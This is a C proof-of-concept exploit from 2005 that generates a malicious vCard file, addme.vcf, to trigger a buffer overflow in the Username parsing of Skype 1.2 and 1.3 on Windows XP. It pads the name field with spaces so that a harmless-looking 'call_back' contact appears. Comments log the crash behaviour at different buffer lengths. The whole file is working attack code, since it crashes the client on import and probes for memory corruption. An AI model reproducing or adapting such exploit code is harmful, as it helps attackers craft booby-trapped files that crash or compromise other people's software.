/* [psi-skype.c] 14.10.05
 *
 * Author: posidron [ posidron@tripbit.net]
 *
 * Description
 *   Skype is vulnerable to a buffer overflow in parsing the Username
 *   out of a .vcf file, also called vCard in Skype.
 *
 * ------------------------------------------------------------------
 * Vulnerable
 *   Successfully tested at:
 *   Skype 1.3.0.67 (Windows XP Prof SP2 - German)
 *   Skype 1.2.0.41 (Windows XP Prof SP2 full patched - German)
 *
 * Not vulnerable
 *   Skype 1.4.0.84 (available since 25.10.2005)
 *
 * ------------------------------------------------------------------
 * Compilation
 *   gcc.exe psi-skype.c -o psi-skype -Wall
 *
 * ------------------------------------------------------------------
 * Example
 *   C:\vulndev\skype>psi-skype.exe
 *   C:\vulndev\skype>
 *
 *   Execute now Skype and import the generated vCard. The Skype
 *   process killed immediately.
 *
 * ------------------------------------------------------------------
 */

#include <stdio.h>

int write_vcf(FILE *fd_vcf);

int main (int argc, char *argv[])
{
  FILE *fd_vcf;

  if ((fd_vcf = fopen("addme.vcf", "w")) == NULL)
  {
    fprintf(stdout, "error: fopen();\n");
    return -1;
  }

  write_vcf(fd_vcf);

  fclose(fd_vcf);

  return 0;
}

int write_vcf(FILE *fd_vcf)
{
  /*
    1.  buffer <= 4081 -> nothing happens
    2.  buffer = 4082 -> MessageBox "Acess violation at address 006E0063 in module �Skype.exe�. Write of address FFFFFFFD2"
    3.  buffer = 4083 -> program crashs without any message
    4.  buffer = 4084 -> MessageBox "Priviled instruction"
    5.  buffer = 4085 || 4086 -> program crashs without any message
    6.  buffer = 4087 -> MessageBox "Acess violation at address 0012FA6E in module �Skype.exe�. Write of address FFFFFFFFF"
    7.  buffer = 4088 || 4089 || 4090 -> MessageBox "Acess violation at address 006E0063 in module �Skype.exe�. Write of address FFFFFFFD2"
    8.  buffer = 4091 -> MessageBox "Acess violation at address 0042BEE7 in module �Skype.exe�. Write of address F0EC000F"
    9.  buffer => 4092 -> program crashes without any message
  */

  char buff[4084];

  memset(&buff[0], 0x43, 1);            // C
  memset(&buff[1], 0x69, 1);            // i
  memset(&buff[2], 0x6e, 1);            // n
  memset(&buff[3], 0x64, 1);            // d
  memset(&buff[4], 0x79, 1);            // y
  memset(&buff[5], 0x31, 1);            // 1
  memset(&buff[6], 0x37, 1);            // 7
  memset(&buff[7], 0x20, 200);          // some white spaces :-) Let's do some trick or nobody would "call_back".
  memset(&buff[206], 0x41, 3877);       // BOF

  fprintf(fd_vcf,
          "BEGIN:VCARD\n"
          "N:call_back\n"
          "X-SKYPE-USERNAME:call_back\n"
          "FN:%s\n"                        // Overflow
          "END:VCARD",
          buff);

  return 0;
}